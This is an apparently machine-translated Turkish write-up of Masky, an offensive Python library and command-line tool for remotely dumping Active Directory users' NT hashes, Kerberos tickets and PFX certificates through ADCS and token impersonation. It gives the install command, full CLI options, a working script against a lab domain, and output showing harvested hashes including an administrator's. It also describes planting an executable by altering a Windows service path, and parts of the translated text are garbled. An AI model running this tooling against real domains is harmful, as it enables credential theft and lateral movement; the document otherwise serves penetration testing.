Masky, bir ADCS sayesinde etki alanı kullanıcılarının kimlik bilgilerini uzaktan boşaltmak için alternatif bir yol sağlayan bir python kitaplığıdır . PFX, NT karmaları ve TGT’yi daha geniş bir kapsamda kolayca toplamak için bu kitaplığın üzerine bir komut satırı aracı oluşturulmuştur.
Bu araç, herhangi bir yeni güvenlik açığından yararlanmaz ve LSASS işlem belleğini boşaltarak çalışmaz. Aslında, yalnızca meşru Windows ve Active Directory özelliklerinden yararlanır (belirteç kimliğine bürünme, kerberos aracılığıyla sertifika doğrulama ve PKINIT aracılığıyla NT karmaları alma). Uygulanan teknikleri ve Masky’nin nasıl çalıştığını detaylandırmak için bir blog yazısı yayınlandı.
Masky kaynak kodu büyük ölçüde harika Certify ve Certipy araçlarına dayanmaktadır. ADCS’ye karşı saldırgan istismar teknikleri ile ilgili araştırmalar için yazarlarına gerçekten teşekkür ederim (bkz. Teşekkürler bölümü ).
Kurulum
Masky python3 kitaplığı ve ilişkili CLI’si, genel PyPi deposu aracılığıyla aşağıdaki gibi kolayca kurulabilir:
pip install masky
Masky aracısı yürütülebilir dosyası zaten PyPi paketine dahil edilmiştir.
Ayrıca, aracıyı değiştirmeniz gerekirse, C# kodu içinde bulunan bir Visual Studio projesi aracılığıyla yeniden derlenebilir agent/Masky.sln. İnşa edilmesini gerektirecektir .NET Framework 4.
kullanım
Masky bir Python kütüphanesi olarak tasarlanmıştır. Ayrıca, pentest veya RedTeam aktiviteleri sırasında kullanımını kolaylaştırmak için üzerine bir komut satırı arayüzü oluşturuldu.
CA serverHer iki kullanım için de, önce bir ADCS aracılığıyla CA namedağıtılan a’nın FQDN’sini almanız gerekir . certipy findBu bilgiler, seçenek veya yerleşik Microsoft certutil.exearacı aracılığıyla kolayca alınabilir . UserHedeflenen CA’da varsayılan şablonun etkinleştirildiğinden emin olun .
RasAutoUyarı: Masky, mevcut hizmetin değiştirilmesi yoluyla her hedefe bir yürütülebilir dosya dağıtır . İlk değerinin otomatik olarak geri alınmasına rağmen, ImagePathMasky çalışma zamanı sırasında beklenmeyen bir hata temizleme aşamasını atlayabilir. Bu nedenle, böyle bir istenmeyen duruş durumunda orijinal değeri manuel olarak sıfırlamayı unutmayın.
Komut satırı
Aşağıdaki demo, 4 uzak sistemi hedefleyerek Masky’nin temel kullanımını göstermektedir. Yürütülmesi, sec.lab test etki alanından 3 farklı etki alanı kullanıcısının NT karmalarını, CCACHE ve PFX’lerini toplamaya izin verir.
Masky ayrıca bu tür araçlar tarafından yaygın olarak sağlanan seçenekleri de sağlar (iş parçacığı numarası, kimlik doğrulama modu, dosyalardan yüklenen hedefler vb.).
__ __ _ | \/ | __ _ ___| | ___ _ | |\/| |/ _` / __| |/ / | | | | | | | (_| \__ \ <|
|
|_|\__,_|___/_|\_\__, | v0.0.3 |___/usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT] [targets ...]positional arguments: targets Targets in CIDR, hostname and IP formats are accepted, from a file or notoptions: -h, --help show this help message and exit -v, --verbose Enable debugging messages -ts, --timestamps Display timestamps for each log -t THREADS, --threads THREADS Threadpool size (max 15)Authentication: -d DOMAIN, --domain DOMAIN Domain name to authenticate to -u USER, --user USER Username to au thenticate with -p PASSWORD, --password PASSWORD Password to authenticate with -k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. -H HASHES, --hashes HASHES Hashes to authenticate with (LM:NT, :NT or :LM)Connection: -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY Certificate Authority Name (SERVER\CA_NAME)Results: -nh, --no-hash Do not request NT hashes -nt, --no-ccache Do not save ccache files -np, --no-pfx Do not save pfx files -o OUTPUT, --output OUTPUT Local path to a folder where Masky results will be stored (automatically creates the folde r if it does not exit)
Python kitaplığı
Aşağıda, uzak bir hedeften çalışan etki alanı kullanıcı oturumlarının sırlarını toplamak için Masky kitaplığını kullanan basit bir komut dosyası verilmiştir.
from masky import Maskyfrom getpass import getpassdef dump_nt_hashes(): # Define the authentication parameters ca = "srv-01.sec.lab\sec-SRV-01-CA" dc_ip = "192.168.23.148" domain = "sec.lab" user = "askywalker" password = getpass() # Create a Masky instance with these credentials m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password) # Set a target and run Masky against it target = "192.168.23.130" rslts = m.run(target) # Check if Masky succesfully hijacked at least a user session # or if an unexpected error occured if not rslts: return False # Loop on MaskyResult object to display hijacked users and to retreive their NT hashes print(f"Results from hostname: {rslts.hostname}") for user in rslts.users: print(f"\t - {user.domain}\{user.n ame} - {user.nt_hash}") return Trueif __name__ == "__main__": dump_nt_hashes()
Yürütülmesi aşağıdaki çıktıyı üretir.
$> python3 .\masky_demo.pyPassword:Results from hostname: SRV-01 - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157 - sec\askywalker - 8928e0723012a8471c0084149c4e23b1 - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Masky’nin başarılı bir şekilde yürütülmesinden sonra nesnelerin MaskyResultslistesini içeren bir nesne döndürülür .User
Lütfen masky\lib\results.pybu iki sınıf tarafından sağlanan yöntemleri ve nitelikleri kontrol etmek için modüle bakın.


















